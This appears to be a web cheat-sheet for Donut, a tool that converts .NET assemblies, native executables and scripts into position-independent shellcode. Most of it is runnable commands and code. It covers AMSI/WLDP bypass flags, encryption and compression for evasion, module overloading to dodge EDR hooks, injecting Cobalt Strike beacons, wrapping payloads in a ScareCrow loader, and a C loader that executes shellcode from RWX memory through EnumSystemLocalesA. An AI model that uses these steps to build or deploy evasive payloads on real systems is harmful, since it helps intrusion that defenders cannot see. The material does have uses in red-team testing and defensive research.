Pular para o conteúdo

Donut

Donut is a position-independent shellcode generator that transforms .NET assemblies, native PE files, and scripts into in-memory executable payloads. It enables direct injection into processes without touching disk, making it a critical tool for red team operations and EDR evasion.

Clone the repository and build from source:

git clone https://github.com/TheWover/donut.git
cd donut
make
# Binary available at ./donut

Use Visual Studio to compile from the provided solution file:

git clone https://github.com/TheWover/donut.git
cd donut
# Open donut.sln in Visual Studio and build (Release x64 or x86)
# Binary available at Release\donut.exe

Install the Python wrapper for programmatic access:

pip install donut-shellcode

Convert an executable to shellcode in one command:

./donut -f payload.exe -o shellcode.bin

The generated shellcode.bin is position-independent and can be injected directly into a running process.

Input TypeExtensionUse Case
.NET Assembly.exe, .dllManaged C# payloads
Native PE.exe, .dllUnmanaged C/C++ payloads
VBScript.vbsScript-based payloads
JScript.jsJavaScript-based payloads
./donut -f <input_file> [options]
OptionDescription
-f <file>Input file (required)
-o <file>Output filename (default: payload.bin)
-a <arch>Architecture: x86, amd64, x86+amd64 (default: auto-detect)
-b <bypass>Bypass AMSI/WLDP: 1=bypass, 2=abort, 3=continue
-z <compression>Compression: none, aPLib, LZNT1, Xpress
-e <encryption>Encryption: none, random

Convert managed C# assemblies to shellcode with parameter passing:

# Simple .NET executable
./donut -f MyPayload.exe -o shellcode.bin

# .NET DLL with specific class and method
./donut -f MyPayload.dll -c MyNamespace.MyClass -m MyMethod -o shellcode.bin

# .NET assembly with command-line arguments
./donut -f MyPayload.exe -p "arg1 arg2 arg3" -o shellcode.bin

# Specify runtime version (v2, v4)
./donut -f MyPayload.exe -r v4 -o shellcode.bin
class Program {
    static void Main(string[] args) {
        System.Diagnostics.Process.Start("calc.exe");
    }
}

Compile and convert:

csc Program.cs
./donut -f Program.exe -o shellcode.bin

Convert unmanaged executables and DLLs:

# Native x64 executable
./donut -f payload.exe -a amd64 -o shellcode.bin

# Native x86 executable with arguments
./donut -f payload.exe -a x86 -p "arg1 arg2" -o shellcode.bin

# Support dual architecture
./donut -f payload.exe -a x86+amd64 -o shellcode.bin

Donut automatically detects and preserves the entry point, handling both console and GUI applications.

Convert VBScript and JScript files to shellcode:

# VBScript conversion
./donut -f script.vbs -o shellcode.bin

# JScript conversion
./donut -f script.js -o shellcode.bin

Scripts are embedded in the shellcode and executed by the runtime upon injection.

Reduce detectability with built-in encryption and compression:

# aPLib compression (best compression ratio)
./donut -f payload.exe -z aPLib -o shellcode.bin

# LZNT1 compression
./donut -f payload.exe -z LZNT1 -o shellcode.bin

# Xpress compression
./donut -f payload.exe -z Xpress -o shellcode.bin

# Random XOR encryption
./donut -f payload.exe -e random -o shellcode.bin

# Combine compression and encryption
./donut -f payload.exe -z aPLib -e random -o shellcode.bin

Control behavior when AMSI/Windows Defender Application Guard is detected:

# Bypass AMSI/WLDP silently
./donut -f payload.exe -b 1 -o shellcode.bin

# Abort shellcode if bypass fails
./donut -f payload.exe -b 2 -o shellcode.bin

# Continue execution even if bypass fails
./donut -f payload.exe -b 3 -o shellcode.bin

Bypass modes affect detection evasion strategy during .NET runtime initialization.

Replace API function pointers to evade hook detection:

# Enable module overloading
./donut -f payload.exe -j -o shellcode.bin

This technique patches module exports in-memory to evade API hooking by EDR solutions and user-mode security monitors.

Generate shellcode in multiple output formats:

# Binary output (default)
./donut -f payload.exe -o shellcode.bin

# Base64 encoded
./donut -f payload.exe -f base64 -o shellcode.b64

# C array
./donut -f payload.exe -f c -o shellcode.c

# Python bytes
./donut -f payload.exe -f python -o shellcode.py

# Ruby array
./donut -f payload.exe -f ruby -o shellcode.rb

# C# array
./donut -f payload.exe -f csharp -o shellcode.cs

# Hex string
./donut -f payload.exe -f hex -o shellcode.hex

Use format-specific output for direct integration into loaders and frameworks.

Donut uses a hashing algorithm to resolve Windows APIs at runtime:

# Default API hashing (NTDLL.DLL for critical functions)
./donut -f payload.exe -o shellcode.bin

The generated shellcode includes a hash resolver that dynamically locates APIs without import table modifications, reducing detection surface.

Generate shellcode programmatically using the Python API:

import donut

# Basic shellcode generation
shellcode = donut.create(file="payload.exe")

# With options
shellcode = donut.create(
    file="MyPayload.exe",
    output_format="base64",
    compression="aPLib",
    encryption="random",
    bypass=1
)

# .NET assembly with class/method
shellcode = donut.create(
    file="MyPayload.dll",
    cls="MyNamespace.MyClass",
    method="MyMethod",
    params="arg1 arg2"
)

# Write to file
with open("shellcode.bin", "wb") as f:
    f.write(shellcode)

Use Donut-generated shellcode with Cobalt Strike’s inject functionality:

# Generate shellcode
./donut -f beacon.exe -z aPLib -e random -o beacon.bin

# In Cobalt Strike: inject -> shellcode -> upload beacon.bin

Combine with ScareCrow for Windows binary obfuscation:

# Generate shellcode
./donut -f payload.exe -o shellcode.bin

# Use ScareCrow to wrap shellcode in obfuscated loader
python scarecrow.py -l shellcode.bin -o loader.exe

Inject generated shellcode directly:

# Generate shellcode
./donut -f payload.exe -a amd64 -z aPLib -e random -o shellcode.bin

# Inject into running process (using custom injector)
./injector.exe -p <PID> -s shellcode.bin

Embed shellcode in custom C/C++ loaders:

// Donut-generated shellcode (hex array)
unsigned char shellcode[] = {
    0x4d, 0x5a, 0x90, 0x00, // ... (hex bytes)
};

// Allocate RWX memory and execute
LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode), 
                            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(alloc, shellcode, sizeof(shellcode));
EnumSystemLocalesA((LOCALE_ENUMPROCA)alloc, 0);
IssueSolution
Invalid file formatEnsure input is valid PE/managed executable or script
Shellcode too largeReduce size with compression (-z aPLib) or split payload
Architecture mismatchVerify target process architecture matches -a option
Module not foundCheck .NET assembly is compilable standalone
AMSI bypass failedUse -b 3 to continue if bypass detection occurs
  • Combine encryption and compression: Use -z aPLib -e random for maximum evasion
  • Target architecture: Always specify -a matching the injection target (x86 for x86 processes, amd64 for x64)
  • Test locally first: Verify shellcode injection works in your lab before deployment
  • Monitor file size: Smaller payloads are faster to inject; compress when possible
  • Use module overloading: Enable -j on targets with EDR hooks to evade API inspection
  • Split large payloads: For multi-stage attacks, split payloads and chain injections
  • Disable AMSI bypass selectively: Use -b 3 in noisy environments to avoid detection events
ToolPurpose
ScareCrowWindows binary obfuscation and evasion
sRDIReflective DLL injection for native PE files
PEzorPE obfuscator with inline shellcode support
FreezeIn-memory .NET assembly encryption
SharpSploit.NET post-exploitation framework
Cobalt StrikeCommercial red team platform (Beacon payload generation)